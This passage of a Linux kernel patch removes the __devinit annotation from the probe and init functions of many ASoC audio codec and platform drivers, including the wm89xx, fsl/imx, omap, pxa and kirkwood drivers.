-static __devinit int wm8995_i2c_probe(struct i2c_client *i2c,
+static int wm8995_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8995_priv *wm8995;
diff --git a/sound/soc/codecs/wm8996.c b/sound/soc/codecs/wm8996.c
index ed7d6ed..49a4147 100644
--- a/sound/soc/codecs/wm8996.c
+++ b/sound/soc/codecs/wm8996.c
@@ -2765,7 +2765,7 @@ static struct snd_soc_dai_driver wm8996_dai[] = {
 	},
 };
 
-static __devinit int wm8996_i2c_probe(struct i2c_client *i2c,
+static int wm8996_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm8996_priv *wm8996;
diff --git a/sound/soc/codecs/wm9081.c b/sound/soc/codecs/wm9081.c
index d639602..f6b522a 100644
--- a/sound/soc/codecs/wm9081.c
+++ b/sound/soc/codecs/wm9081.c
@@ -1327,7 +1327,7 @@ static const struct regmap_config wm9081_regmap = {
 };
 
 #if defined(CONFIG_I2C) || defined(CONFIG_I2C_MODULE)
-static __devinit int wm9081_i2c_probe(struct i2c_client *i2c,
+static int wm9081_i2c_probe(struct i2c_client *i2c,
 				      const struct i2c_device_id *id)
 {
 	struct wm9081_priv *wm9081;
diff --git a/sound/soc/codecs/wm9705.c b/sound/soc/codecs/wm9705.c
index 9c380f6..b330d7a 100644
--- a/sound/soc/codecs/wm9705.c
+++ b/sound/soc/codecs/wm9705.c
@@ -382,7 +382,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm9705 = {
 	.num_dapm_routes = ARRAY_SIZE(wm9705_audio_map),
 };
 
-static __devinit int wm9705_probe(struct platform_device *pdev)
+static int wm9705_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev,
 			&soc_codec_dev_wm9705, wm9705_dai, ARRAY_SIZE(wm9705_dai));
diff --git a/sound/soc/codecs/wm9712.c b/sound/soc/codecs/wm9712.c
index 73de205..c44ea10 100644
--- a/sound/soc/codecs/wm9712.c
+++ b/sound/soc/codecs/wm9712.c
@@ -685,7 +685,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm9712 = {
 	.num_dapm_routes = ARRAY_SIZE(wm9712_audio_map),
 };
 
-static __devinit int wm9712_probe(struct platform_device *pdev)
+static int wm9712_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev,
 			&soc_codec_dev_wm9712, wm9712_dai, ARRAY_SIZE(wm9712_dai));
diff --git a/sound/soc/codecs/wm9713.c b/sound/soc/codecs/wm9713.c
index 5e5afeb..0285223 100644
--- a/sound/soc/codecs/wm9713.c
+++ b/sound/soc/codecs/wm9713.c
@@ -1254,7 +1254,7 @@ static struct snd_soc_codec_driver soc_codec_dev_wm9713 = {
 	.num_dapm_routes = ARRAY_SIZE(wm9713_audio_map),
 };
 
-static __devinit int wm9713_probe(struct platform_device *pdev)
+static int wm9713_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_codec(&pdev->dev,
 			&soc_codec_dev_wm9713, wm9713_dai, ARRAY_SIZE(wm9713_dai));
diff --git a/sound/soc/fsl/eukrea-tlv320.c b/sound/soc/fsl/eukrea-tlv320.c
index 855b851..8a87f0e 100644
--- a/sound/soc/fsl/eukrea-tlv320.c
+++ b/sound/soc/fsl/eukrea-tlv320.c
@@ -93,7 +93,7 @@ static struct snd_soc_card eukrea_tlv320 = {
 	.num_links	= 1,
 };
 
-static int __devinit eukrea_tlv320_probe(struct platform_device *pdev)
+static int eukrea_tlv320_probe(struct platform_device *pdev)
 {
 	int ret;
 	int int_port = 0, ext_port;
diff --git a/sound/soc/fsl/fsl_dma.c b/sound/soc/fsl/fsl_dma.c
index 36fbf7a..8a07360 100644
--- a/sound/soc/fsl/fsl_dma.c
+++ b/sound/soc/fsl/fsl_dma.c
@@ -894,7 +894,7 @@ static struct snd_pcm_ops fsl_dma_ops = {
 	.pointer	= fsl_dma_pointer,
 };
 
-static int __devinit fsl_soc_dma_probe(struct platform_device *pdev)
+static int fsl_soc_dma_probe(struct platform_device *pdev)
  {
 	struct dma_object *dma;
 	struct device_node *np = pdev->dev.of_node;
diff --git a/sound/soc/fsl/fsl_ssi.c b/sound/soc/fsl/fsl_ssi.c
index 4ed2afd..7decbd9 100644
--- a/sound/soc/fsl/fsl_ssi.c
+++ b/sound/soc/fsl/fsl_ssi.c
@@ -639,7 +639,7 @@ static void make_lowercase(char *s)
 	}
 }
 
-static int __devinit fsl_ssi_probe(struct platform_device *pdev)
+static int fsl_ssi_probe(struct platform_device *pdev)
 {
 	struct fsl_ssi_private *ssi_private;
 	int ret = 0;
diff --git a/sound/soc/fsl/imx-audmux.c b/sound/soc/fsl/imx-audmux.c
index ff0266b..71454ae 100644
--- a/sound/soc/fsl/imx-audmux.c
+++ b/sound/soc/fsl/imx-audmux.c
@@ -244,7 +244,7 @@ int imx_audmux_v2_configure_port(unsigned int port, unsigned int ptcr,
 }
 EXPORT_SYMBOL_GPL(imx_audmux_v2_configure_port);
 
-static int __devinit imx_audmux_probe(struct platform_device *pdev)
+static int imx_audmux_probe(struct platform_device *pdev)
 {
 	struct resource *res;
 	struct pinctrl *pinctrl;
diff --git a/sound/soc/fsl/imx-mc13783.c b/sound/soc/fsl/imx-mc13783.c
index ed027c2..6803e0a 100644
--- a/sound/soc/fsl/imx-mc13783.c
+++ b/sound/soc/fsl/imx-mc13783.c
@@ -98,7 +98,7 @@ static struct snd_soc_card imx_mc13783 = {
 	.num_dapm_routes = ARRAY_SIZE(imx_mc13783_routes),
 };
 
-static int __devinit imx_mc13783_probe(struct platform_device *pdev)
+static int imx_mc13783_probe(struct platform_device *pdev)
 {
 	int ret;
 
diff --git a/sound/soc/fsl/imx-pcm-dma.c b/sound/soc/fsl/imx-pcm-dma.c
index 4252e16..d0ebbfa 100644
--- a/sound/soc/fsl/imx-pcm-dma.c
+++ b/sound/soc/fsl/imx-pcm-dma.c
@@ -154,7 +154,7 @@ static struct snd_soc_platform_driver imx_soc_platform_mx2 = {
 	.pcm_free	= imx_pcm_free,
 };
 
-static int __devinit imx_soc_platform_probe(struct platform_device *pdev)
+static int imx_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &imx_soc_platform_mx2);
 }
diff --git a/sound/soc/fsl/imx-pcm-fiq.c b/sound/soc/fsl/imx-pcm-fiq.c
index 8d88642..5a452a4 100644
--- a/sound/soc/fsl/imx-pcm-fiq.c
+++ b/sound/soc/fsl/imx-pcm-fiq.c
@@ -281,7 +281,7 @@ static struct snd_soc_platform_driver imx_soc_platform_fiq = {
 	.pcm_free	= imx_pcm_fiq_free,
 };
 
-static int __devinit imx_soc_platform_probe(struct platform_device *pdev)
+static int imx_soc_platform_probe(struct platform_device *pdev)
 {
 	struct imx_ssi *ssi = platform_get_drvdata(pdev);
 	int ret;
diff --git a/sound/soc/fsl/imx-sgtl5000.c b/sound/soc/fsl/imx-sgtl5000.c
index dc646b2..013322c 100644
--- a/sound/soc/fsl/imx-sgtl5000.c
+++ b/sound/soc/fsl/imx-sgtl5000.c
@@ -56,7 +56,7 @@ static const struct snd_soc_dapm_widget imx_sgtl5000_dapm_widgets[] = {
 	SND_SOC_DAPM_SPK("Ext Spk", NULL),
 };
 
-static int __devinit imx_sgtl5000_probe(struct platform_device *pdev)
+static int imx_sgtl5000_probe(struct platform_device *pdev)
 {
 	struct device_node *np = pdev->dev.of_node;
 	struct device_node *ssi_np, *codec_np;
diff --git a/sound/soc/fsl/mpc5200_psc_ac97.c b/sound/soc/fsl/mpc5200_psc_ac97.c
index da6d6d9..8a7ec26 100644
--- a/sound/soc/fsl/mpc5200_psc_ac97.c
+++ b/sound/soc/fsl/mpc5200_psc_ac97.c
@@ -277,7 +277,7 @@ static struct snd_soc_dai_driver psc_ac97_dai[] = {
  * - Probe/remove operations
  * - OF device match table
  */
-static int __devinit psc_ac97_of_probe(struct platform_device *op)
+static int psc_ac97_of_probe(struct platform_device *op)
 {
 	int rc;
 	struct snd_ac97 ac97;
diff --git a/sound/soc/fsl/mpc5200_psc_i2s.c b/sound/soc/fsl/mpc5200_psc_i2s.c
index e25c62d..328b9df 100644
--- a/sound/soc/fsl/mpc5200_psc_i2s.c
+++ b/sound/soc/fsl/mpc5200_psc_i2s.c
@@ -153,7 +153,7 @@ static struct snd_soc_dai_driver psc_i2s_dai[] = {{
  * - Probe/remove operations
  * - OF device match table
  */
-static int __devinit psc_i2s_of_probe(struct platform_device *op)
+static int psc_i2s_of_probe(struct platform_device *op)
 {
 	int rc;
 	struct psc_dma *psc_dma;
diff --git a/sound/soc/fsl/mx27vis-aic32x4.c b/sound/soc/fsl/mx27vis-aic32x4.c
index 687b830..e88a5ea 100644
--- a/sound/soc/fsl/mx27vis-aic32x4.c
+++ b/sound/soc/fsl/mx27vis-aic32x4.c
@@ -180,7 +180,7 @@ static struct snd_soc_card mx27vis_aic32x4 = {
 	.num_dapm_routes = ARRAY_SIZE(aic32x4_dapm_routes),
 };
 
-static int __devinit mx27vis_aic32x4_probe(struct platform_device *pdev)
+static int mx27vis_aic32x4_probe(struct platform_device *pdev)
 {
 	struct snd_mx27vis_platform_data *pdata = pdev->dev.platform_data;
 	int ret;
diff --git a/sound/soc/jz4740/jz4740-i2s.c b/sound/soc/jz4740/jz4740-i2s.c
index 940e0f3..21051b3 100644
--- a/sound/soc/jz4740/jz4740-i2s.c
+++ b/sound/soc/jz4740/jz4740-i2s.c
@@ -425,7 +425,7 @@ static struct snd_soc_dai_driver jz4740_i2s_dai = {
 	.resume = jz4740_i2s_resume,
 };
 
-static int __devinit jz4740_i2s_dev_probe(struct platform_device *pdev)
+static int jz4740_i2s_dev_probe(struct platform_device *pdev)
 {
 	struct jz4740_i2s *i2s;
 	int ret;
diff --git a/sound/soc/jz4740/jz4740-pcm.c b/sound/soc/jz4740/jz4740-pcm.c
index c7b61ab..770e4e2 100644
--- a/sound/soc/jz4740/jz4740-pcm.c
+++ b/sound/soc/jz4740/jz4740-pcm.c
@@ -335,7 +335,7 @@ static struct snd_soc_platform_driver jz4740_soc_platform = {
 		.pcm_free	= jz4740_pcm_free,
 };
 
-static int __devinit jz4740_pcm_probe(struct platform_device *pdev)
+static int jz4740_pcm_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &jz4740_soc_platform);
 }
diff --git a/sound/soc/jz4740/qi_lb60.c b/sound/soc/jz4740/qi_lb60.c
index 5c15950..5937ddf 100644
--- a/sound/soc/jz4740/qi_lb60.c
+++ b/sound/soc/jz4740/qi_lb60.c
@@ -96,7 +96,7 @@ static const struct gpio qi_lb60_gpios[] = {
 	{ QI_LB60_AMP_GPIO, GPIOF_OUT_INIT_LOW, "AMP" },
 };
 
-static int __devinit qi_lb60_probe(struct platform_device *pdev)
+static int qi_lb60_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &qi_lb60;
 	int ret;
diff --git a/sound/soc/kirkwood/kirkwood-dma.c b/sound/soc/kirkwood/kirkwood-dma.c
index da85321..23ead2b 100644
--- a/sound/soc/kirkwood/kirkwood-dma.c
+++ b/sound/soc/kirkwood/kirkwood-dma.c
@@ -369,7 +369,7 @@ static struct snd_soc_platform_driver kirkwood_soc_platform = {
 	.pcm_free	= kirkwood_dma_free_dma_buffers,
 };
 
-static int __devinit kirkwood_soc_platform_probe(struct platform_device *pdev)
+static int kirkwood_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &kirkwood_soc_platform);
 }
diff --git a/sound/soc/kirkwood/kirkwood-i2s.c b/sound/soc/kirkwood/kirkwood-i2s.c
index 4565dc3..2c6e99f 100644
--- a/sound/soc/kirkwood/kirkwood-i2s.c
+++ b/sound/soc/kirkwood/kirkwood-i2s.c
@@ -398,7 +398,7 @@ static struct snd_soc_dai_driver kirkwood_i2s_dai = {
 	.ops = &kirkwood_i2s_dai_ops,
 };
 
-static __devinit int kirkwood_i2s_dev_probe(struct platform_device *pdev)
+static int kirkwood_i2s_dev_probe(struct platform_device *pdev)
 {
 	struct resource *mem;
 	struct kirkwood_asoc_platform_data *data =
diff --git a/sound/soc/kirkwood/kirkwood-openrd.c b/sound/soc/kirkwood/kirkwood-openrd.c
index f8518dc..1c682ef 100644
--- a/sound/soc/kirkwood/kirkwood-openrd.c
+++ b/sound/soc/kirkwood/kirkwood-openrd.c
@@ -71,7 +71,7 @@ static struct snd_soc_card openrd_client = {
 	.num_links = ARRAY_SIZE(openrd_client_dai),
 };
 
-static int __devinit openrd_probe(struct platform_device *pdev)
+static int openrd_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &openrd_client;
 	int ret;
diff --git a/sound/soc/kirkwood/kirkwood-t5325.c b/sound/soc/kirkwood/kirkwood-t5325.c
index d66b21e..bc142a7 100644
--- a/sound/soc/kirkwood/kirkwood-t5325.c
+++ b/sound/soc/kirkwood/kirkwood-t5325.c
@@ -92,7 +92,7 @@ static struct snd_soc_card t5325 = {
 	.num_dapm_routes = ARRAY_SIZE(t5325_route),
 };
 
-static int __devinit t5325_probe(struct platform_device *pdev)
+static int t5325_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &t5325;
 	int ret;
diff --git a/sound/soc/mid-x86/mfld_machine.c b/sound/soc/mid-x86/mfld_machine.c
index c703870..671eb18 100644
--- a/sound/soc/mid-x86/mfld_machine.c
+++ b/sound/soc/mid-x86/mfld_machine.c
@@ -358,7 +358,7 @@ static irqreturn_t snd_mfld_jack_detection(int irq, void *data)
 	return IRQ_HANDLED;
 }
 
-static int __devinit snd_mfld_mc_probe(struct platform_device *pdev)
+static int snd_mfld_mc_probe(struct platform_device *pdev)
 {
 	int ret_val = 0, irq;
 	struct mfld_mc_private *mc_drv_ctx;
diff --git a/sound/soc/mxs/mxs-pcm.c b/sound/soc/mxs/mxs-pcm.c
index f82d766..d41c770 100644
--- a/sound/soc/mxs/mxs-pcm.c
+++ b/sound/soc/mxs/mxs-pcm.c
@@ -220,7 +220,7 @@ static struct snd_soc_platform_driver mxs_soc_platform = {
 	.pcm_free	= mxs_pcm_free,
 };
 
-int __devinit mxs_pcm_platform_register(struct device *dev)
+int mxs_pcm_platform_register(struct device *dev)
 {
 	return snd_soc_register_platform(dev, &mxs_soc_platform);
 }
diff --git a/sound/soc/mxs/mxs-saif.c b/sound/soc/mxs/mxs-saif.c
index 93fe366..c8c882a 100644
--- a/sound/soc/mxs/mxs-saif.c
+++ b/sound/soc/mxs/mxs-saif.c
@@ -655,7 +655,7 @@ static irqreturn_t mxs_saif_irq(int irq, void *dev_id)
 	return IRQ_HANDLED;
 }
 
-static int __devinit mxs_saif_probe(struct platform_device *pdev)
+static int mxs_saif_probe(struct platform_device *pdev)
 {
 	struct device_node *np = pdev->dev.of_node;
 	struct resource *iores, *dmares;
diff --git a/sound/soc/mxs/mxs-sgtl5000.c b/sound/soc/mxs/mxs-sgtl5000.c
index add904e..638c42d 100644
--- a/sound/soc/mxs/mxs-sgtl5000.c
+++ b/sound/soc/mxs/mxs-sgtl5000.c
@@ -112,7 +112,7 @@ static struct snd_soc_card mxs_sgtl5000 = {
 	.num_links	= ARRAY_SIZE(mxs_sgtl5000_dai),
 };
 
-static int __devinit mxs_sgtl5000_probe_dt(struct platform_device *pdev)
+static int mxs_sgtl5000_probe_dt(struct platform_device *pdev)
 {
 	struct device_node *np = pdev->dev.of_node;
 	struct device_node *saif_np[2], *codec_np;
@@ -145,7 +145,7 @@ static int __devinit mxs_sgtl5000_probe_dt(struct platform_device *pdev)
 	return ret;
 }
 
-static int __devinit mxs_sgtl5000_probe(struct platform_device *pdev)
+static int mxs_sgtl5000_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &mxs_sgtl5000;
 	int ret;
diff --git a/sound/soc/nuc900/nuc900-ac97.c b/sound/soc/nuc900/nuc900-ac97.c
index a2171bf..0121557 100644
--- a/sound/soc/nuc900/nuc900-ac97.c
+++ b/sound/soc/nuc900/nuc900-ac97.c
@@ -314,7 +314,7 @@ static struct snd_soc_dai_driver nuc900_ac97_dai = {
 	.ops = &nuc900_ac97_dai_ops,
 };
 
-static int __devinit nuc900_ac97_drvprobe(struct platform_device *pdev)
+static int nuc900_ac97_drvprobe(struct platform_device *pdev)
 {
 	struct nuc900_audio *nuc900_audio;
 	int ret;
diff --git a/sound/soc/nuc900/nuc900-pcm.c b/sound/soc/nuc900/nuc900-pcm.c
index ca49f9d..37d8cc3 100644
--- a/sound/soc/nuc900/nuc900-pcm.c
+++ b/sound/soc/nuc900/nuc900-pcm.c
@@ -337,7 +337,7 @@ static struct snd_soc_platform_driver nuc900_soc_platform = {
 	.pcm_free	= nuc900_dma_free_dma_buffers,
 };
 
-static int __devinit nuc900_soc_platform_probe(struct platform_device *pdev)
+static int nuc900_soc_platform_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev, &nuc900_soc_platform);
 }
diff --git a/sound/soc/omap/ams-delta.c b/sound/soc/omap/ams-delta.c
index 9c0107e..1acab65 100644
--- a/sound/soc/omap/ams-delta.c
+++ b/sound/soc/omap/ams-delta.c
@@ -575,7 +575,7 @@ static struct snd_soc_card ams_delta_audio_card = {
 };
 
 /* Module init/exit */
-static __devinit int ams_delta_probe(struct platform_device *pdev)
+static int ams_delta_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &ams_delta_audio_card;
 	int ret;
diff --git a/sound/soc/omap/mcbsp.c b/sound/soc/omap/mcbsp.c
index afb8d4f..e166312 100644
--- a/sound/soc/omap/mcbsp.c
+++ b/sound/soc/omap/mcbsp.c
@@ -932,7 +932,7 @@ static const struct attribute_group sidetone_attr_group = {
 	.attrs = (struct attribute **)sidetone_attrs,
 };
 
-static int __devinit omap_st_add(struct omap_mcbsp *mcbsp,
+static int omap_st_add(struct omap_mcbsp *mcbsp,
 				 struct resource *res)
 {
 	struct omap_mcbsp_st_data *st_data;
@@ -959,7 +959,7 @@ static int __devinit omap_st_add(struct omap_mcbsp *mcbsp,
  * McBSP1 and McBSP3 are directly mapped on 1610 and 1510.
  * 730 has only 2 McBSP, and both of them are MPU peripherals.
  */
-int __devinit omap_mcbsp_init(struct platform_device *pdev)
+int omap_mcbsp_init(struct platform_device *pdev)
 {
 	struct omap_mcbsp *mcbsp = platform_get_drvdata(pdev);
 	struct resource *res;
diff --git a/sound/soc/omap/mcbsp.h b/sound/soc/omap/mcbsp.h
index 49a6725..27bf6c3 100644
--- a/sound/soc/omap/mcbsp.h
+++ b/sound/soc/omap/mcbsp.h
@@ -341,7 +341,7 @@ int omap_st_enable(struct omap_mcbsp *mcbsp);
 int omap_st_disable(struct omap_mcbsp *mcbsp);
 int omap_st_is_enabled(struct omap_mcbsp *mcbsp);
 
-int __devinit omap_mcbsp_init(struct platform_device *pdev);
+int omap_mcbsp_init(struct platform_device *pdev);
 void __devexit omap_mcbsp_sysfs_remove(struct omap_mcbsp *mcbsp);
 
 #endif /* __ASOC_MCBSP_H */
diff --git a/sound/soc/omap/omap-abe-twl6040.c b/sound/soc/omap/omap-abe-twl6040.c
index ab439fe..a594ebf 100644
--- a/sound/soc/omap/omap-abe-twl6040.c
+++ b/sound/soc/omap/omap-abe-twl6040.c
@@ -273,7 +273,7 @@ static struct snd_soc_card omap_abe_card = {
 	.num_dapm_routes = ARRAY_SIZE(audio_map),
 };
 
-static __devinit int omap_abe_probe(struct platform_device *pdev)
+static int omap_abe_probe(struct platform_device *pdev)
 {
 	struct omap_abe_twl6040_data *pdata = dev_get_platdata(&pdev->dev);
 	struct device_node *node = pdev->dev.of_node;
diff --git a/sound/soc/omap/omap-dmic.c b/sound/soc/omap/omap-dmic.c
index d101541..bd46176 100644
--- a/sound/soc/omap/omap-dmic.c
+++ b/sound/soc/omap/omap-dmic.c
@@ -448,7 +448,7 @@ static struct snd_soc_dai_driver omap_dmic_dai = {
 	.ops = &omap_dmic_dai_ops,
 };
 
-static __devinit int asoc_dmic_probe(struct platform_device *pdev)
+static int asoc_dmic_probe(struct platform_device *pdev)
 {
 	struct omap_dmic *dmic;
 	struct resource *res;
diff --git a/sound/soc/omap/omap-hdmi-card.c b/sound/soc/omap/omap-hdmi-card.c
index 290b94c..092d45c 100644
--- a/sound/soc/omap/omap-hdmi-card.c
+++ b/sound/soc/omap/omap-hdmi-card.c
@@ -45,7 +45,7 @@ static struct snd_soc_card snd_soc_omap_hdmi = {
 	.num_links = 1,
 };
 
-static __devinit int omap_hdmi_probe(struct platform_device *pdev)
+static int omap_hdmi_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &snd_soc_omap_hdmi;
 	int ret;
diff --git a/sound/soc/omap/omap-hdmi.c b/sound/soc/omap/omap-hdmi.c
index 7225e7c..3845781 100644
--- a/sound/soc/omap/omap-hdmi.c
+++ b/sound/soc/omap/omap-hdmi.c
@@ -262,7 +262,7 @@ static struct snd_soc_dai_driver omap_hdmi_dai = {
 	.ops = &omap_hdmi_dai_ops,
 };
 
-static __devinit int omap_hdmi_probe(struct platform_device *pdev)
+static int omap_hdmi_probe(struct platform_device *pdev)
 {
 	int ret;
 	struct resource *hdmi_rsrc;
diff --git a/sound/soc/omap/omap-mcbsp.c b/sound/soc/omap/omap-mcbsp.c
index 734a6dc..316ea7d 100644
--- a/sound/soc/omap/omap-mcbsp.c
+++ b/sound/soc/omap/omap-mcbsp.c
@@ -758,7 +758,7 @@ static const struct of_device_id omap_mcbsp_of_match[] = {
 };
 MODULE_DEVICE_TABLE(of, omap_mcbsp_of_match);
 
-static __devinit int asoc_mcbsp_probe(struct platform_device *pdev)
+static int asoc_mcbsp_probe(struct platform_device *pdev)
 {
 	struct omap_mcbsp_platform_data *pdata = dev_get_platdata(&pdev->dev);
 	struct omap_mcbsp *mcbsp;
diff --git a/sound/soc/omap/omap-mcpdm.c b/sound/soc/omap/omap-mcpdm.c
index 9a37da1..803ff6a 100644
--- a/sound/soc/omap/omap-mcpdm.c
+++ b/sound/soc/omap/omap-mcpdm.c
@@ -429,7 +429,7 @@ void omap_mcpdm_configure_dn_offsets(struct snd_soc_pcm_runtime *rtd,
 }
 EXPORT_SYMBOL_GPL(omap_mcpdm_configure_dn_offsets);
 
-static __devinit int asoc_mcpdm_probe(struct platform_device *pdev)
+static int asoc_mcpdm_probe(struct platform_device *pdev)
 {
 	struct omap_mcpdm *mcpdm;
 	struct resource *res;
diff --git a/sound/soc/omap/omap-pcm.c b/sound/soc/omap/omap-pcm.c
index 0fb8614..21f927b 100644
--- a/sound/soc/omap/omap-pcm.c
+++ b/sound/soc/omap/omap-pcm.c
@@ -302,7 +302,7 @@ static struct snd_soc_platform_driver omap_soc_platform = {
 	.pcm_free	= omap_pcm_free_dma_buffers,
 };
 
-static __devinit int omap_pcm_probe(struct platform_device *pdev)
+static int omap_pcm_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_platform(&pdev->dev,
 			&omap_soc_platform);
diff --git a/sound/soc/omap/omap-twl4030.c b/sound/soc/omap/omap-twl4030.c
index c356c6f..c505ec2 100644
--- a/sound/soc/omap/omap-twl4030.c
+++ b/sound/soc/omap/omap-twl4030.c
@@ -107,7 +107,7 @@ static struct snd_soc_card omap_twl4030_card = {
 	.num_links = ARRAY_SIZE(omap_twl4030_dai_links),
 };
 
-static __devinit int omap_twl4030_probe(struct platform_device *pdev)
+static int omap_twl4030_probe(struct platform_device *pdev)
 {
 	struct omap_tw4030_pdata *pdata = dev_get_platdata(&pdev->dev);
 	struct device_node *node = pdev->dev.of_node;
diff --git a/sound/soc/pxa/brownstone.c b/sound/soc/pxa/brownstone.c
index 162532b..8c5b325 100644
--- a/sound/soc/pxa/brownstone.c
+++ b/sound/soc/pxa/brownstone.c
@@ -140,7 +140,7 @@ static struct snd_soc_card brownstone = {
 	.num_dapm_routes = ARRAY_SIZE(brownstone_audio_map),
 };
 
-static int __devinit brownstone_probe(struct platform_device *pdev)
+static int brownstone_probe(struct platform_device *pdev)
 {
 	int ret;
 
diff --git a/sound/soc/pxa/corgi.c b/sound/soc/pxa/corgi.c
index d74cc33..3e08dcf 100644
--- a/sound/soc/pxa/corgi.c
+++ b/sound/soc/pxa/corgi.c
@@ -303,7 +303,7 @@ static struct snd_soc_card corgi = {
 	.num_dapm_routes = ARRAY_SIZE(corgi_audio_map),
 };
 
-static int __devinit corgi_probe(struct platform_device *pdev)
+static int corgi_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &corgi;
 	int ret;
diff --git a/sound/soc/pxa/e740_wm9705.c b/sound/soc/pxa/e740_wm9705.c
index f2c828e..189d77c 100644
--- a/sound/soc/pxa/e740_wm9705.c
+++ b/sound/soc/pxa/e740_wm9705.c
@@ -144,7 +144,7 @@ static struct gpio e740_audio_gpios[] = {
 	{ GPIO_E740_WM9705_nAVDD2, GPIOF_OUT_INIT_HIGH, "Audio power" },
 };
 
-static int __devinit e740_probe(struct platform_device *pdev)
+static int e740_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &e740;
 	int ret;
diff --git a/sound/soc/pxa/e750_wm9705.c b/sound/soc/pxa/e750_wm9705.c
index fb38914..319d55b 100644
--- a/sound/soc/pxa/e750_wm9705.c
+++ b/sound/soc/pxa/e750_wm9705.c
@@ -126,7 +126,7 @@ static struct gpio e750_audio_gpios[] = {
 	{ GPIO_E750_SPK_AMP_OFF, GPIOF_OUT_INIT_HIGH, "Speaker amp" },
 };
 
-static int __devinit e750_probe(struct platform_device *pdev)
+static int e750_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &e750;
 	int ret;
diff --git a/sound/soc/pxa/e800_wm9712.c b/sound/soc/pxa/e800_wm9712.c
index 9a93cae..9fa2cd1 100644
--- a/sound/soc/pxa/e800_wm9712.c
+++ b/sound/soc/pxa/e800_wm9712.c
@@ -116,7 +116,7 @@ static struct gpio e800_audio_gpios[] = {
 	{ GPIO_E800_HP_AMP_OFF, GPIOF_OUT_INIT_HIGH, "Speaker amp" },
 };
 
-static int __devinit e800_probe(struct platform_device *pdev)
+static int e800_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &e800;
 	int ret;
diff --git a/sound/soc/pxa/hx4700.c b/sound/soc/pxa/hx4700.c
index 368cd51..40c07b3 100644
--- a/sound/soc/pxa/hx4700.c
+++ b/sound/soc/pxa/hx4700.c
@@ -183,7 +183,7 @@ static struct gpio hx4700_audio_gpios[] = {
 	{ GPIO92_HX4700_HP_DRIVER, GPIOF_OUT_INIT_LOW, "EP_POWER" },
 };
 
-static int __devinit hx4700_audio_probe(struct platform_device *pdev)
+static int hx4700_audio_probe(struct platform_device *pdev)
 {
 	int ret;
 
diff --git a/sound/soc/pxa/imote2.c b/sound/soc/pxa/imote2.c
index d8b123b..e89441d 100644
--- a/sound/soc/pxa/imote2.c
+++ b/sound/soc/pxa/imote2.c
@@ -65,7 +65,7 @@ static struct snd_soc_card imote2 = {
 	.num_links = 1,
 };
 
-static int __devinit imote2_probe(struct platform_device *pdev)
+static int imote2_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &imote2;
 	int ret;
diff --git a/sound/soc/pxa/mioa701_wm9713.c b/sound/soc/pxa/mioa701_wm9713.c
index c02d1da..135a839 100644
--- a/sound/soc/pxa/mioa701_wm9713.c
+++ b/sound/soc/pxa/mioa701_wm9713.c
@@ -186,7 +186,7 @@ static struct snd_soc_card mioa701 = {
 	.num_links = ARRAY_SIZE(mioa701_dai),
 };
 
-static int __devinit mioa701_wm9713_probe(struct platform_device *pdev)
+static int mioa701_wm9713_probe(struct platform_device *pdev)
 {
 	int rc;
 
diff --git a/sound/soc/pxa/mmp-pcm.c b/sound/soc/pxa/mmp-pcm.c
index 3e8cb21..1324673 100644
--- a/sound/soc/pxa/mmp-pcm.c
+++ b/sound/soc/pxa/mmp-pcm.c
@@ -257,7 +257,7 @@ struct snd_soc_platform_driver mmp_soc_platform = {
 	.pcm_free	= mmp_pcm_free_dma_buffers,
 };
 
-static __devinit int mmp_pcm_probe(struct platform_device *pdev)
+static int mmp_pcm_probe(struct platform_device *pdev)
 {
 	struct mmp_audio_platdata *pdata = pdev->dev.platform_data;
 
diff --git a/sound/soc/pxa/mmp-sspa.c b/sound/soc/pxa/mmp-sspa.c
index acdbdcf..c97ce5b0 100644
--- a/sound/soc/pxa/mmp-sspa.c
+++ b/sound/soc/pxa/mmp-sspa.c
@@ -405,7 +405,7 @@ struct snd_soc_dai_driver mmp_sspa_dai = {
 	.ops = &mmp_sspa_dai_ops,
 };
 
-static __devinit int asoc_mmp_sspa_probe(struct platform_device *pdev)
+static int asoc_mmp_sspa_probe(struct platform_device *pdev)
 {
 	struct sspa_priv *priv;
 	struct resource *res;
diff --git a/sound/soc/pxa/poodle.c b/sound/soc/pxa/poodle.c
index 48ba129..bc00684 100644
--- a/sound/soc/pxa/poodle.c
+++ b/sound/soc/pxa/poodle.c
@@ -269,7 +269,7 @@ static struct snd_soc_card poodle = {
 	.num_dapm_routes = ARRAY_SIZE(poodle_audio_map),
 };
 
-static int __devinit poodle_probe(struct platform_device *pdev)
+static int poodle_probe(struct platform_device *pdev)
 {
 	struct snd_soc_card *card = &poodle;
 	int ret;
diff --git a/sound/soc/pxa/pxa-ssp.c b/sound/soc/pxa/pxa-ssp.c
index 9d13de0..6a61748 100644
--- a/sound/soc/pxa/pxa-ssp.c
+++ b/sound/soc/pxa/pxa-ssp.c
@@ -794,7 +794,7 @@ static struct snd_soc_dai_driver pxa_ssp_dai = {
 		.ops = &pxa_ssp_dai_ops,
 };
 
-static __devinit int asoc_ssp_probe(struct platform_device *pdev)
+static int asoc_ssp_probe(struct platform_device *pdev)
 {
 	return snd_soc_register_dai(&pdev->dev, &pxa_ssp_dai);
